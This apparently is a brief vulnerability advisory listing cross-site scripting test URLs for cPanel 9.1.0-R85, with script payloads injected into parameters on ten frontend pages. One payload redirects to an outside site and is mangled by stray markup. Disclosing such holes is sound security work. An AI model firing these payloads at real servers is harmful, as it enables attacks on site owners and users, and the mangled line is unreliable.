Systems Affected: cPanel 9.1.0-R85
To check cPanel for CSS, simply access the following example URLs in a browser:
http://[victim]/frontend/x/cpanelpro/ignorelist.
html?account="><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/cpanelpro/showlog.
html?account=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x/sql/repairdb.
html?db=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x/ftp/doaddftp.
html?login="><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/cpanelpro/editmsg.
html?account="><script>alert('Vulnerable')</script>
http://[victim]/frontend/x/testfile.
html?email=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/err/erredit.
html?dir=public_html/&file=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/net/dnslook.html?dns=</pre><script>window.location='s="fixed">http://www.cirt.net/'</script>
http://[victim]/frontend/x2/denyip/del.
html?ip=<script>alert('Vulnerable')</script>
http://[victim]/frontend/x2/htaccess/index.
html?dir=<script>alert('Vulnerable')</script>